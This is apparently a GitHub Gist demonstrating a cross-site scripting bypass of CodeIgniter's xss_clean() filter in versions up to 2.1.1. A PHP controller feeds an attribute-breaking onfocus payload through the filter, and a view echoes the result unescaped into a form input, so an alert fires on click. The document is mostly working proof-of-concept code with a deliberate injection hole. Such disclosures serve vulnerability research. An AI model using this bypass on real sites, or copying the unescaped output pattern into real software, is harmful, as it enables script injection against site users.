Created
July 20, 2012 06:06
-
-
Save cnsaturn/3148978 to your computer and use it in GitHub Desktop.
CodeIgniter <= 2.1.1 xss_clean() Cross Site Scripting filter bypass
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); | |
class Xssdemo extends CI_Controller { | |
public function index() { | |
$data['xss'] = $this->security->xss_clean('"onfocus="alert(/xss/)"'); | |
$this->load->view('xssdemo', $data); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// application/views/xssdemo.php | |
<form method="post"> | |
// Click on the input control to trigger the alert box! | |
<input name="xss" value="<?php echo $xss;?>"> | |
<input type="submit" name="submit!"> | |
</form> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment